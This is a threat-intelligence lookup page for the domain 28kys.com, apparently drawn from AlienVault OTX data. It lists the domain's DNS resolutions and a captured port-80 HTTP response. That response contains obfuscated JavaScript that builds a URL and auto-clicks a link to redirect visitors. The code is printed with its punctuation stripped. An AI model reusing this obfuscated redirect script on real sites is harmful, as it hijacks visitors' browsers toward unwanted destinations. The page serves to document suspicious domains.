Domain > 28kys.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2025-04-23	23.225.33.27 (ClassC)
2025-06-11	23.170.49.23 (ClassC)
2025-10-01	172.247.17.42 (ClassC)
2025-10-24	172.247.17.44 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1506Connection: close

html>body>a idhm>script typetext/javascript>var _0xc7d1cre,Mou,men,ps:,ent,hre,50t,tEv,Eve,arC,flo,ati,zz:,&p,ven,y1h,bto,chE,//z,ini,a0z,52?,pat,htt,tBy,dis,og1,mCh,Ele,get,.bu,ode,5eb,cli;(function(_0x59819e,_0xc7d15b){var _0x42eaedfunction(_0x7c524e){while(--_0x7c524e){_0x59819epush(_0x59819eshift());}};_0x42eaed(++_0xc7d15b);}(_0xc7d1,0x1dc));var _0x42eafunction(_0x59819e,_0xc7d15b){_0x59819e_0x59819e-0x0;var _0x42eaed_0xc7d1_0x59819e;return _0x42eaed;};var strU_0x42ea(0x17)+_0x42ea(0x3)+_0x42ea(0x12)+_0x42ea(0x20)+_0x42ea(0x6)+s6.+_0x42ea(0x14)+_0x42ea(0x1a)+_0x42ea(0xf)+_0x42ea(0x1e)+_0x42ea(0xc)+232+_0x42ea(0x15)+u+window_0x42ea(0x10)+a(window_0x42ea(0x10)+a(windowloc+_0x42ea(0xb)+on))+Stringfro+_0x42ea(0x1b)+_0x42ea(0x9)+_0x42ea(0x1f)(Math_0x42ea(0xa)+or(Mathran+dom()*0x1a)+0x61)+(_0x42ea(0xd)+o);hm_0x42ea(0x5)+fstrU;if(documentall){document_0x42ea(0x1d)+_0x42ea(0x1c)+_0x42ea(0x2)+_0x42ea(0x18)+Id(hm)_0x42ea(0x21)+ck();}else{var edocument_0x42ea(0x0)+ate+_0x42ea(0x8)+nt(_0x42ea(0x1)+seE+_0x42ea(0xe)+ts);e_0x42ea(0x13)+_0x42ea(0x7)+_0x42ea(0x4)(_0x42ea(0x21)+ck,!!,!!);document_0x42ea(0x1d)+_0x42ea(0x1c)+men+_0x42ea(0x18)+Id(hm)_0x42ea(0x19)+_0x42ea(0x16)+_0x42ea(0x11)+_0x42ea(0xe)+t(e);}/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 28kys.com

Is this malicious?

DNS Resolutions

Port 80